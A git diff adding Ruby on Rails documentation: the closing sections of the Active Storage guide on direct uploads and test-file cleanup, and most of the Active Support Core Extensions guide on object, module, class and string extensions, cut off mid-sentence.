document.getElementById(`direct-upload-progress-${id}`) + progressElement.style.width = `${progress}%` +}) + +addEventListener("direct-upload:error", event => { + event.preventDefault() + const { id, error } = event.detail + const element = document.getElementById(`direct-upload-${id}`) + element.classList.add("direct-upload--error") + element.setAttribute("title", error) +}) + +addEventListener("direct-upload:end", event => { + const { id } = event.detail + const element = document.getElementById(`direct-upload-${id}`) + element.classList.add("direct-upload--complete") +}) +``` + +Add styles: + +```css +/* direct_uploads.css */ + +.direct-upload { + display: inline-block; + position: relative; + padding: 2px 4px; + margin: 0 3px 3px 0; + border: 1px solid rgba(0, 0, 0, 0.3); + border-radius: 3px; + font-size: 11px; + line-height: 13px; +} + +.direct-upload--pending { + opacity: 0.6; +} + +.direct-upload__progress { + position: absolute; + top: 0; + left: 0; + bottom: 0; + opacity: 0.2; + background: #0076ff; + transition: width 120ms ease-out, opacity 60ms 60ms ease-in; + transform: translate3d(0, 0, 0); +} + +.direct-upload--complete .direct-upload__progress { + opacity: 0.4; +} + +.direct-upload--error { + border-color: red; +} + +input[type=file][data-direct-upload-url][disabled] { + display: none; +} +``` + +### Integrating with Libraries or Frameworks + +If you want to use the Direct Upload feature from a JavaScript framework, or +you want to integrate custom drag and drop solutions, you can use the +`DirectUpload` class for this purpose. Upon receiving a file from your library +of choice, instantiate a DirectUpload and call its create method. Create takes +a callback to invoke when the upload completes. + +```js +import { DirectUpload } from "activestorage" + +const input = document.querySelector('input[type=file]') + +// Bind to file drop - use the ondrop on a parent element or use a +// library like Dropzone +const onDrop = (event) => { + event.preventDefault() + const files = event.dataTransfer.files; + Array.from(files).forEach(file => uploadFile(file)) +} + +// Bind to normal file selection +input.addEventListener('change', (event) => { + Array.from(input.files).forEach(file => uploadFile(file)) + // you might clear the selected files from the input + input.value = null +}) + +const uploadFile = (file) => { + // your form needs the file_field direct_upload: true, which + // provides data-direct-upload-url + const url = input.dataset.directUploadUrl + const upload = new DirectUpload(file, url) + + upload.create((error, blob) => { + if (error) { + // Handle the error + } else { + // Add an appropriately-named hidden input to the form with a + // value of blob.signed_id so that the blob ids will be + // transmitted in the normal upload flow + const hiddenField = document.createElement('input') + hiddenField.setAttribute("type", "hidden"); + hiddenField.setAttribute("value", blob.signed_id); + hiddenField.name = input.name + document.querySelector('form').appendChild(hiddenField) + } + }) +} +``` + +If you need to track the progress of the file upload, you can pass a third +parameter to the `DirectUpload` constructor. During the upload, DirectUpload +will call the object's `directUploadWillStoreFileWithXHR` method. You can then +bind your own progress handler on the XHR. + +```js +import { DirectUpload } from "activestorage" + +class Uploader { + constructor(file, url) { + this.upload = new DirectUpload(this.file, this.url, this) + } + + upload(file) { + this.upload.create((error, blob) => { + if (error) { + // Handle the error + } else { + // Add an appropriately-named hidden input to the form + // with a value of blob.signed_id + } + }) + } + + directUploadWillStoreFileWithXHR(request) { + request.upload.addEventListener("progress", + event => this.directUploadDidProgress(event)) + } + + directUploadDidProgress(event) { + // Use event.loaded and event.total to update the progress bar + } +} +``` + +Discarding Files Stored During System Tests +------------------------------------------- + +System tests clean up test data by rolling back a transaction. Because destroy +is never called on an object, the attached files are never cleaned up. If you +want to clear the files, you can do it in an `after_teardown` callback. Doing it +here ensures that all connections created during the test are complete and +you won't receive an error from Active Storage saying it can't find a file. + +```ruby +class ApplicationSystemTestCase < ActionDispatch::SystemTestCase + driven_by :selenium, using: :chrome, screen_size: [1400, 1400] + + def remove_uploaded_files + FileUtils.rm_rf("#{Rails.root}/storage_test") + end + + def after_teardown + super + remove_uploaded_files + end +end +``` + +If your system tests verify the deletion of a model with attachments and you're +using Active Job, set your test environment to use the inline queue adapter so +the purge job is executed immediately rather at an unknown time in the future. + +You may also want to use a separate service definition for the test environment +so your tests don't delete the files you create during development. + +```ruby +# Use inline job processing to make things happen immediately +config.active_job.queue_adapter = :inline + +# Separate file storage in the test environment +config.active_storage.service = :local_test +``` + +Discarding Files Stored During Integration Tests +------------------------------------------- + +Similarly to System Tests, files uploaded during Integration Tests will not be +automatically cleaned up. If you want to clear the files, you can do it in an +`after_teardown` callback. Doing it here ensures that all connections created +during the test are complete and you won't receive an error from Active Storage +saying it can't find a file. + +```ruby +module RemoveUploadedFiles + def after_teardown + super + remove_uploaded_files + end + + private + + def remove_uploaded_files + FileUtils.rm_rf(Rails.root.join('tmp', 'storage')) + end +end + +module ActionDispatch + class IntegrationTest + prepend RemoveUploadedFiles + end +end +``` + +Implementing Support for Other Cloud Services +--------------------------------------------- + +If you need to support a cloud service other than these, you will need to +implement the Service. Each service extends +[`ActiveStorage::Service`](https://github.com/rails/rails/blob/master/activestorage/lib/active_storage/service.rb) +by implementing the methods necessary to upload and download files to the cloud. diff --git a/guides/source/active_support_core_extensions.md b/guides/source/active_support_core_extensions.md new file mode 100644 index 0000000000..3db46bc42e --- /dev/null +++ b/guides/source/active_support_core_extensions.md @@ -0,0 +1,3622 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Active Support Core Extensions +============================== + +Active Support is the Ruby on Rails component responsible for providing Ruby language extensions, utilities, and other transversal stuff. + +It offers a richer bottom-line at the language level, targeted both at the development of Rails applications, and at the development of Ruby on Rails itself. + +After reading this guide, you will know: + +* What Core Extensions are. +* How to load all extensions. +* How to cherry-pick just the extensions you want. +* What extensions Active Support provides. + +-------------------------------------------------------------------------------- + +How to Load Core Extensions +--------------------------- + +### Stand-Alone Active Support + +In order to have a near-zero default footprint, Active Support does not load anything by default. It is broken in small pieces so that you can load just what you need, and also has some convenience entry points to load related extensions in one shot, even everything. + +Thus, after a simple require like: + +```ruby +require 'active_support' +``` + +objects do not even respond to `blank?`. Let's see how to load its definition. + +#### Cherry-picking a Definition + +The most lightweight way to get `blank?` is to cherry-pick the file that defines it. + +For every single method defined as a core extension this guide has a note that says where such a method is defined. In the case of `blank?` the note reads: + +NOTE: Defined in `active_support/core_ext/object/blank.rb`. + +That means that you can require it like this: + +```ruby +require 'active_support' +require 'active_support/core_ext/object/blank' +``` + +Active Support has been carefully revised so that cherry-picking a file loads only strictly needed dependencies, if any. + +#### Loading Grouped Core Extensions + +The next level is to simply load all extensions to `Object`. As a rule of thumb, extensions to `SomeClass` are available in one shot by loading `active_support/core_ext/some_class`. + +Thus, to load all extensions to `Object` (including `blank?`): + +```ruby +require 'active_support' +require 'active_support/core_ext/object' +``` + +#### Loading All Core Extensions + +You may prefer just to load all core extensions, there is a file for that: + +```ruby +require 'active_support' +require 'active_support/core_ext' +``` + +#### Loading All Active Support + +And finally, if you want to have all Active Support available just issue: + +```ruby +require 'active_support/all' +``` + +That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via `autoload`, so it is only loaded if used. + +### Active Support Within a Ruby on Rails Application + +A Ruby on Rails application loads all Active Support unless `config.active_support.bare` is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section. + +Extensions to All Objects +------------------------- + +### `blank?` and `present?` + +The following values are considered to be blank in a Rails application: + +* `nil` and `false`, + +* strings composed only of whitespace (see note below), + +* empty arrays and hashes, and + +* any other object that responds to `empty?` and is empty. + +INFO: The predicate for strings uses the Unicode-aware character class `[:space:]`, so for example U+2029 (paragraph separator) is considered to be whitespace. + +WARNING: Note that numbers are not mentioned. In particular, 0 and 0.0 are **not** blank. + +For example, this method from `ActionController::HttpAuthentication::Token::ControllerMethods` uses `blank?` for checking whether a token is present: + +```ruby +def authenticate(controller, &login_procedure) + token, options = token_and_options(controller.request) + unless token.blank? + login_procedure.call(token, options) + end +end +``` + +The method `present?` is equivalent to `!blank?`. This example is taken from `ActionDispatch::Http::Cache::Response`: + +```ruby +def set_conditional_cache_control! + return if self["Cache-Control"].present? + ... +end +``` + +NOTE: Defined in `active_support/core_ext/object/blank.rb`. + +### `presence` + +The `presence` method returns its receiver if `present?`, and `nil` otherwise. It is useful for idioms like this: + +```ruby +host = config[:host].presence || 'localhost' +``` + +NOTE: Defined in `active_support/core_ext/object/blank.rb`. + +### `duplicable?` + +As of Ruby 2.5, most objects can be duplicated via `dup` or `clone`: + +```ruby +"foo".dup # => "foo" +"".dup # => "" +Rational(1).dup # => (1/1) +Complex(0).dup # => (0+0i) +1.method(:+).dup # => TypeError (allocator undefined for Method) +``` + +Active Support provides `duplicable?` to query an object about this: + +```ruby +"foo".duplicable? # => true +"".duplicable? # => true +Rational(1).duplicable? # => true +Complex(1).duplicable? # => true +1.method(:+).duplicable? # => false +``` + +`duplicable?` matches the current Ruby version's `dup` behavior, +so results will vary according the version of Ruby you're using. +In Ruby 2.4, for example, Complex and Rational are not duplicable: + +```ruby +Rational(1).duplicable? # => false +Complex(1).duplicable? # => false +``` + +WARNING: Any class can disallow duplication by removing `dup` and `clone` or raising exceptions from them. Thus only `rescue` can tell whether a given arbitrary object is duplicable. `duplicable?` depends on the hard-coded list above, but it is much faster than `rescue`. Use it only if you know the hard-coded list is enough in your use case. + +NOTE: Defined in `active_support/core_ext/object/duplicable.rb`. + +### `deep_dup` + +The `deep_dup` method returns a deep copy of a given object. Normally, when you `dup` an object that contains other objects, Ruby does not `dup` them, so it creates a shallow copy of the object. If you have an array with a string, for example, it will look like this: + +```ruby +array = ['string'] +duplicate = array.dup + +duplicate.push 'another-string' + +# the object was duplicated, so the element was added only to the duplicate +array # => ['string'] +duplicate # => ['string', 'another-string'] + +duplicate.first.gsub!('string', 'foo') + +# first element was not duplicated, it will be changed in both arrays +array # => ['foo'] +duplicate # => ['foo', 'another-string'] +``` + +As you can see, after duplicating the `Array` instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since `dup` does not make deep copy, the string inside the array is still the same object. + +If you need a deep copy of an object, you should use `deep_dup`. Here is an example: + +```ruby +array = ['string'] +duplicate = array.deep_dup + +duplicate.first.gsub!('string', 'foo') + +array # => ['string'] +duplicate # => ['foo'] +``` + +If the object is not duplicable, `deep_dup` will just return it: + +```ruby +number = 1 +duplicate = number.deep_dup +number.object_id == duplicate.object_id # => true +``` + +NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`. + +### `try` + +When you want to call a method on an object only if it is not `nil`, the simplest way to achieve it is with conditional statements, adding unnecessary clutter. The alternative is to use `try`. `try` is like `Object#send` except that it returns `nil` if sent to `nil`. + +Here is an example: + +```ruby +# without try +unless @number.nil? + @number.next +end + +# with try +@number.try(:next) +``` + +Another example is this code from `ActiveRecord::ConnectionAdapters::AbstractAdapter` where `@logger` could be `nil`. You can see that the code uses `try` and avoids an unnecessary check. + +```ruby +def log_info(sql, name, ms) + if @logger.try(:debug?) + name = '%s (%.1fms)' % [name || 'SQL', ms] + @logger.debug(format_log_entry(name, sql.squeeze(' '))) + end +end +``` + +`try` can also be called without arguments but a block, which will only be executed if the object is not nil: + +```ruby +@person.try { |p| "#{p.first_name} #{p.last_name}" } +``` + +Note that `try` will swallow no-method errors, returning nil instead. If you want to protect against typos, use `try!` instead: + +```ruby +@number.try(:nest) # => nil +@number.try!(:nest) # NoMethodError: undefined method `nest' for 1:Integer +``` + +NOTE: Defined in `active_support/core_ext/object/try.rb`. + +### `class_eval(*args, &block)` + +You can evaluate code in the context of any object's singleton class using `class_eval`: + +```ruby +class Proc + def bind(object) + block, time = self, Time.current + object.class_eval do + method_name = "__bind_#{time.to_i}_#{time.usec}" + define_method(method_name, &block) + method = instance_method(method_name) + remove_method(method_name) + method + end.bind(object) + end +end +``` + +NOTE: Defined in `active_support/core_ext/kernel/singleton_class.rb`. + +### `acts_like?(duck)` + +The method `acts_like?` provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as `String` defines + +```ruby +def acts_like_string? +end +``` + +which is only a marker, its body or return value are irrelevant. Then, client code can query for duck-type-safeness this way: + +```ruby +some_klass.acts_like?(:string) +``` + +Rails has classes that act like `Date` or `Time` and follow this contract. + +NOTE: Defined in `active_support/core_ext/object/acts_like.rb`. + +### `to_param` + +All objects in Rails respond to the method `to_param`, which is meant to return something that represents them as values in a query string, or as URL fragments. + +By default `to_param` just calls `to_s`: + +```ruby +7.to_param # => "7" +``` + +The return value of `to_param` should **not** be escaped: + +```ruby +"Tom & Jerry".to_param # => "Tom & Jerry" +``` + +Several classes in Rails overwrite this method. + +For example `nil`, `true`, and `false` return themselves. `Array#to_param` calls `to_param` on the elements and joins the result with "/": + +```ruby +[0, true, String].to_param # => "0/true/String" +``` + +Notably, the Rails routing system calls `to_param` on models to get a value for the `:id` placeholder. `ActiveRecord::Base#to_param` returns the `id` of a model, but you can redefine that method in your models. For example, given + +```ruby +class User + def to_param + "#{id}-#{name.parameterize}" + end +end +``` + +we get: + +```ruby +user_path(@user) # => "/users/357-john-smith" +``` + +WARNING. Controllers need to be aware of any redefinition of `to_param` because when a request like that comes in "357-john-smith" is the value of `params[:id]`. + +NOTE: Defined in `active_support/core_ext/object/to_param.rb`. + +### `to_query` + +Except for hashes, given an unescaped `key` this method constructs the part of a query string that would map such key to what `to_param` returns. For example, given + +```ruby +class User + def to_param + "#{id}-#{name.parameterize}" + end +end +``` + +we get: + +```ruby +current_user.to_query('user') # => "user=357-john-smith" +``` + +This method escapes whatever is needed, both for the key and the value: + +```ruby +account.to_query('company[name]') +# => "company%5Bname%5D=Johnson+%26+Johnson" +``` + +so its output is ready to be used in a query string. + +Arrays return the result of applying `to_query` to each element with `key[]` as key, and join the result with "&": + +```ruby +[3.4, -45.6].to_query('sample') +# => "sample%5B%5D=3.4&sample%5B%5D=-45.6" +``` + +Hashes also respond to `to_query` but with a different signature. If no argument is passed a call generates a sorted series of key/value assignments calling `to_query(key)` on its values. Then it joins the result with "&": + +```ruby +{c: 3, b: 2, a: 1}.to_query # => "a=1&b=2&c=3" +``` + +The method `Hash#to_query` accepts an optional namespace for the keys: + +```ruby +{id: 89, name: "John Smith"}.to_query('user') +# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith" +``` + +NOTE: Defined in `active_support/core_ext/object/to_query.rb`. + +### `with_options` + +The method `with_options` provides a way to factor out common options in a series of method calls. + +Given a default options hash, `with_options` yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in: + +```ruby +class Account < ApplicationRecord + has_many :customers, dependent: :destroy + has_many :products, dependent: :destroy + has_many :invoices, dependent: :destroy + has_many :expenses, dependent: :destroy +end +``` + +this way: + +```ruby +class Account < ApplicationRecord + with_options dependent: :destroy do |assoc| + assoc.has_many :customers + assoc.has_many :products + assoc.has_many :invoices + assoc.has_many :expenses + end +end +``` + +That idiom may convey _grouping_ to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this: + +```ruby +I18n.with_options locale: user.locale, scope: "newsletter" do |i18n| + subject i18n.t :subject + body i18n.t :body, user_name: user.name +end +``` + +TIP: Since `with_options` forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own. + +NOTE: Defined in `active_support/core_ext/object/with_options.rb`. + +### JSON support + +Active Support provides a better implementation of `to_json` than the `json` gem ordinarily provides for Ruby objects. This is because some classes, like `Hash`, `OrderedHash` and `Process::Status` need special handling in order to provide a proper JSON representation. + +NOTE: Defined in `active_support/core_ext/object/json.rb`. + +### Instance Variables + +Active Support provides several methods to ease access to instance variables. + +#### `instance_values` + +The method `instance_values` returns a hash that maps instance variable names without "@" to their +corresponding values. Keys are strings: + +```ruby +class C + def initialize(x, y) + @x, @y = x, y + end +end + +C.new(0, 1).instance_values # => {"x" => 0, "y" => 1} +``` + +NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`. + +#### `instance_variable_names` + +The method `instance_variable_names` returns an array. Each name includes the "@" sign. + +```ruby +class C + def initialize(x, y) + @x, @y = x, y + end +end + +C.new(0, 1).instance_variable_names # => ["@x", "@y"] +``` + +NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`. + +### Silencing Warnings and Exceptions + +The methods `silence_warnings` and `enable_warnings` change the value of `$VERBOSE` accordingly for the duration of their block, and reset it afterwards: + +```ruby +silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger } +``` + +Silencing exceptions is also possible with `suppress`. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is `kind_of?` any of the arguments, `suppress` captures it and returns silently. Otherwise the exception is not captured: + +```ruby +# If the user is locked, the increment is lost, no big deal. +suppress(ActiveRecord::StaleObjectError) do + current_user.increment! :visits +end +``` + +NOTE: Defined in `active_support/core_ext/kernel/reporting.rb`. + +### `in?` + +The predicate `in?` tests if an object is included in another object. An `ArgumentError` exception will be raised if the argument passed does not respond to `include?`. + +Examples of `in?`: + +```ruby +1.in?([1,2]) # => true +"lo".in?("hello") # => true +25.in?(30..50) # => false +1.in?(1) # => ArgumentError +``` + +NOTE: Defined in `active_support/core_ext/object/inclusion.rb`. + +Extensions to `Module` +---------------------- + +### Attributes + +#### `alias_attribute` + +Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (one mnemonic is that they go in the same order as if you did an assignment): + +```ruby +class User < ApplicationRecord + # You can refer to the email column as "login". + # This can be meaningful for authentication code. + alias_attribute :login, :email +end +``` + +NOTE: Defined in `active_support/core_ext/module/aliasing.rb`. + +#### Internal Attributes + +When you are defining an attribute in a class that is meant to be subclassed, name collisions are a risk. That's remarkably important for libraries. + +Active Support defines the macros `attr_internal_reader`, `attr_internal_writer`, and `attr_internal_accessor`. They behave like their Ruby built-in `attr_*` counterparts, except they name the underlying instance variable in a way that makes collisions less likely. + +The macro `attr_internal` is a synonym for `attr_internal_accessor`: + +```ruby +# library +class ThirdPartyLibrary::Crawler + attr_internal :log_level +end + +# client code +class MyCrawler < ThirdPartyLibrary::Crawler + attr_accessor :log_level +end +``` + +In the previous example it could be the case that `:log_level` does not belong to the public interface of the library and it is only used for development. The client code, unaware of the potential conflict, subclasses and defines its own `:log_level`. Thanks to `attr_internal` there's no collision. + +By default the internal instance variable is named with a leading underscore, `@_log_level` in the example above. That's configurable via `Module.attr_internal_naming_format` though, you can pass any `sprintf`-like format string with a leading `@` and a `%s` somewhere, which is where the name will be placed. The default is `"@_%s"`. + +Rails uses internal attributes in a few spots, for examples for views: + +```ruby +module ActionView + class Base + attr_internal :captures + attr_internal :request, :layout + attr_internal :controller, :template + end +end +``` + +NOTE: Defined in `active_support/core_ext/module/attr_internal.rb`. + +#### Module Attributes + +The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are the same as the `cattr_*` macros defined for class. In fact, the `cattr_*` macros are just aliases for the `mattr_*` macros. Check [Class Attributes](#class-attributes). + +For example, the dependencies mechanism uses them: + +```ruby +module ActiveSupport + module Dependencies + mattr_accessor :warnings_on_first_load + mattr_accessor :history + mattr_accessor :loaded + mattr_accessor :mechanism + mattr_accessor :load_paths + mattr_accessor :load_once_paths + mattr_accessor :autoloaded_constants + mattr_accessor :explicitly_unloadable_constants + mattr_accessor :constant_watch_stack + mattr_accessor :constant_watch_stack_mutex + end +end +``` + +NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`. + +### Parents + +#### `module_parent` + +The `module_parent` method on a nested named module returns the module that contains its corresponding constant: + +```ruby +module X + module Y + module Z + end + end +end +M = X::Y::Z + +X::Y::Z.module_parent # => X::Y +M.module_parent # => X::Y +``` + +If the module is anonymous or belongs to the top-level, `module_parent` returns `Object`. + +WARNING: Note that in that case `module_parent_name` returns `nil`. + +NOTE: Defined in `active_support/core_ext/module/introspection.rb`. + +#### `module_parent_name` + +The `module_parent_name` method on a nested named module returns the fully qualified name of the module that contains its corresponding constant: + +```ruby +module X + module Y + module Z + end + end +end +M = X::Y::Z + +X::Y::Z.module_parent_name # => "X::Y" +M.module_parent_name # => "X::Y" +``` + +For top-level or anonymous modules `module_parent_name` returns `nil`. + +WARNING: Note that in that case `module_parent` returns `Object`. + +NOTE: Defined in `active_support/core_ext/module/introspection.rb`. + +#### `module_parents` + +The method `module_parents` calls `module_parent` on the receiver and upwards until `Object` is reached. The chain is returned in an array, from bottom to top: + +```ruby +module X + module Y + module Z + end + end +end +M = X::Y::Z + +X::Y::Z.module_parents # => [X::Y, X, Object] +M.module_parents # => [X::Y, X, Object] +``` + +NOTE: Defined in `active_support/core_ext/module/introspection.rb`. + +### Anonymous + +A module may or may not have a name: + +```ruby +module M +end +M.name # => "M" + +N = Module.new +N.name # => "N" + +Module.new.name # => nil +``` + +You can check whether a module has a name with the predicate `anonymous?`: + +```ruby +module M +end +M.anonymous? # => false + +Module.new.anonymous? # => true +``` + +Note that being unreachable does not imply being anonymous: + +```ruby +module M +end + +m = Object.send(:remove_const, :M) + +m.anonymous? # => false +``` + +though an anonymous module is unreachable by definition. + +NOTE: Defined in `active_support/core_ext/module/anonymous.rb`. + +### Method Delegation + +#### `delegate` + +The macro `delegate` offers an easy way to forward methods. + +Let's imagine that users in some application have login information in the `User` model but name and other data in a separate `Profile` model: + +```ruby +class User < ApplicationRecord + has_one :profile +end +``` + +With that configuration you get a user's name via their profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly: + +```ruby +class User < ApplicationRecord + has_one :profile + + def name + profile.name + end +end +``` + +That is what `delegate` does for you: + +```ruby +class User < ApplicationRecord + has_one :profile + + delegate :name, to: :profile +end +``` + +It is shorter, and the intention more obvious. + +The method must be public in the target. + +The `delegate` macro accepts several methods: + +```ruby +delegate :name, :age, :address, :twitter, to: :profile +``` + +When interpolated into a string, the `:to` option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver: + +```ruby +# delegates to the Rails constant +delegate :logger, to: :Rails + +# delegates to the receiver's class +delegate :table_name, to: :class +``` + +WARNING: If the `:prefix` option is `true` this is less generic, see below. + +By default, if the delegation raises `NoMethodError` and the target is `nil` the exception is propagated. You can ask that `nil` is returned instead with the `:allow_nil` option: + +```ruby +delegate :name, to: :profile, allow_nil: true +``` + +With `:allow_nil` the call `user.name` returns `nil` if the user has no profile. + +The option `:prefix` adds a prefix to the name of the generated method. This may be handy for example to get a better name: + +```ruby +delegate :street, to: :address, prefix: true +``` + +The previous example generates `address_street` rather than `street`. + +WARNING: Since in this case the name of the generated method is composed of the target object and target method names, the `:to` option must be a method name. + +A custom prefix may also be configured: + +```ruby +delegate :size, to: :attachment, prefix: :avatar +``` + +In the previous example the macro generates `avatar_size` rather than `size`. + +The option `:private` changes methods scope: + +```ruby +delegate :date_of_birth, to: :profile, private: true +``` + +The delegated methods are public by default. Pass `private: true` to change that. + +NOTE: Defined in `active_support/core_ext/module/delegation.rb` + +#### `delegate_missing_to` + +Imagine you would like to delegate everything missing from the `User` object, +to the `Profile` one. The `delegate_missing_to` macro lets you implement this +in a breeze: + +```ruby +class User < ApplicationRecord + has_one :profile + + delegate_missing_to :profile +end +``` + +The target can be anything callable within the object, e.g. instance variables, +methods, constants, etc. Only the public methods of the target are delegated. + +NOTE: Defined in `active_support/core_ext/module/delegation.rb`. + +### Redefining Methods + +There are cases where you need to define a method with `define_method`, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either. + +The method `redefine_method` prevents such a potential warning, removing the existing method before if needed. + +You can also use `silence_redefinition_of_method` if you need to define +the replacement method yourself (because you're using `delegate`, for +example). + +NOTE: Defined in `active_support/core_ext/module/redefine_method.rb`. + +Extensions to `Class` +--------------------- + +### Class Attributes + +#### `class_attribute` + +The method `class_attribute` declares one or more inheritable class attributes that can be overridden at any level down the hierarchy. + +```ruby +class A + class_attribute :x +end + +class B < A; end + +class C < B; end + +A.x = :a +B.x # => :a +C.x # => :a + +B.x = :b +A.x # => :a +C.x # => :b + +C.x = :c +A.x # => :a +B.x # => :b +``` + +For example `ActionMailer::Base` defines: + +```ruby +class_attribute :default_params +self.default_params = { + mime_version: "1.0", + charset: "UTF-8", + content_type: "text/plain", + parts_order: [ "text/plain", "text/enriched", "text/html" ] +}.freeze +``` + +They can also be accessed and overridden at the instance level. + +```ruby +A.x = 1 + +a1 = A.new +a2 = A.new +a2.x = 2 + +a1.x # => 1, comes from A +a2.x # => 2, overridden in a2 +``` + +The generation of the writer instance method can be prevented by setting the option `:instance_writer` to `false`. + +```ruby +module ActiveRecord + class Base + class_attribute :table_name_prefix, instance_writer: false, default: "my" + end +end +``` + +A model may find that option useful as a way to prevent mass-assignment from setting the attribute. + +The generation of the reader instance method can be prevented by setting the option `:instance_reader` to `false`. + +```ruby +class A + class_attribute :x, instance_reader: false +end + +A.new.x = 1 +A.new.x # NoMethodError +``` + +For convenience `class_attribute` also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called `x?`. + +When `:instance_reader` is `false`, the instance predicate returns a `NoMethodError` just like the reader method. + +If you do not want the instance predicate, pass `instance_predicate: false` and it will not be defined. + +NOTE: Defined in `active_support/core_ext/class/attribute.rb`. + +#### `cattr_reader`, `cattr_writer`, and `cattr_accessor` + +The macros `cattr_reader`, `cattr_writer`, and `cattr_accessor` are analogous to their `attr_*` counterparts but for classes. They initialize a class variable to `nil` unless it already exists, and generate the corresponding class methods to access it: + +```ruby +class MysqlAdapter < AbstractAdapter + # Generates class methods to access @@emulate_booleans. + cattr_accessor :emulate_booleans +end +``` + +Also, you can pass a block to `cattr_*` to set up the attribute with a default value: + +```ruby +class MysqlAdapter < AbstractAdapter + # Generates class methods to access @@emulate_booleans with default value of true. + cattr_accessor :emulate_booleans, default: true +end +``` + +Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with `class_attribute` (see above). For example given + +```ruby +module ActionView + class Base + cattr_accessor :field_error_proc, default: Proc.new { ... } + end +end +``` + +we can access `field_error_proc` in views. + +The generation of the reader instance method can be prevented by setting `:instance_reader` to `false` and the generation of the writer instance method can be prevented by setting `:instance_writer` to `false`. Generation of both methods can be prevented by setting `:instance_accessor` to `false`. In all cases, the value must be exactly `false` and not any false value. + +```ruby +module A + class B + # No first_name instance reader is generated. + cattr_accessor :first_name, instance_reader: false + # No last_name= instance writer is generated. + cattr_accessor :last_name, instance_writer: false + # No surname instance reader or surname= writer is generated. + cattr_accessor :surname, instance_accessor: false + end +end +``` + +A model may find it useful to set `:instance_accessor` to `false` as a way to prevent mass-assignment from setting the attribute. + +NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`. + +### Subclasses & Descendants + +#### `subclasses` + +The `subclasses` method returns the subclasses of the receiver: + +```ruby +class C; end +C.subclasses # => [] + +class B < C; end +C.subclasses # => [B] + +class A < B; end +C.subclasses # => [B] + +class D < C; end +C.subclasses # => [B, D] +``` + +The order in which these classes are returned is unspecified. + +NOTE: Defined in `active_support/core_ext/class/subclasses.rb`. + +#### `descendants` + +The `descendants` method returns all classes that are `<` than its receiver: + +```ruby +class C; end +C.descendants # => [] + +class B < C; end +C.descendants # => [B] + +class A < B; end +C.descendants # => [B, A] + +class D < C; end +C.descendants # => [B, A, D] +``` + +The order in which these classes are returned is unspecified. + +NOTE: Defined in `active_support/core_ext/class/subclasses.rb`. + +Extensions to `String` +---------------------- + +### Output Safety + +#### Motivation + +Inserting data into HTML templates needs extra care. For example, you can't just interpolate `@review.title` verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the section about cross-site scripting in the [Security guide](security.html#cross-site-scripting-xss) for further information about the risks. + +#### Safe Strings + +Active Support has the concept of _(html) safe_ strings. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not. + +Strings are considered to be _unsafe_ by default: + +```ruby +"".html_safe? # => false +``` + +You can obtain a safe string from a given one with the `html_safe` method: + +```ruby +s = "".html_safe +s.html_safe? # => true +``` + +It is important to understand that `html_safe` performs no escaping whatsoever, it is just an assertion: + +```ruby +s = "<script>...</script>".html_safe +s.html_safe? # => true +s # => "<script>...</script>" +``` + +It is your responsibility to ensure calling `html_safe` on a particular string is fine. + +If you append onto a safe string, either in-place with `concat`/`<<`, or with `+`, the result is a safe string. Unsafe arguments are escaped: + +```ruby +"".html_safe + "<" # => "<" +``` + +Safe arguments are directly appended: + +```ruby +"".html_safe + "<".html_safe # => "<" +``` + +These methods should not be used in ordinary views. Unsafe values are automatically escaped: + +```erb +<%= @review.title %> <%# fine, escaped if needed %> +``` + +To insert something verbatim use the `raw` helper rather than calling `html_safe`: + +```erb +<%= raw @cms.current_template %> <%# inserts @cms.current_template as is %> +``` + +or, equivalently, use `<%==`: + +```erb +<%== @cms.current_template %> <%# inserts @cms.current_template as is %> +``` + +The `raw` helper calls `html_safe` for you: + +```ruby +def raw(stringish) + stringish.to_s.html_safe +end +``` + +NOTE: Defined in `active_support/core_ext/string/output_safety.rb`. + +#### Transformation + +As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are `downcase`, `gsub`, `strip`, `chomp`, `underscore`, etc. + +In the case of in-place transformations like `gsub!` the receiver itself becomes unsafe. + +INFO: The safety bit is lost always, no matter whether the transformation actually changed something. + +#### Conversion and Coercion + +Calling `to_s` on a safe string returns a safe string, but coercion with `to_str` returns an unsafe string. + +#### Copying + +Calling `dup` or `clone` on safe strings yields safe strings. + +### `remove` + +The method `remove` will remove all occurrences of the pattern: + +```ruby +"Hello World".remove(/Hello /) # => "World" +``` + +There's also the destructive version `String#remove!`. + +NOTE: Defined in `active_support/core_ext/string/filters.rb`. + +### `squish` + +The method `squish` strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each: + +```ruby +" \n foo\n\r \t bar \n".squish # => "foo bar" +``` + +There's also the destructive version `String#squish!`. + +Note that it handles both ASCII and Unicode whitespace. + +NOTE: Defined in 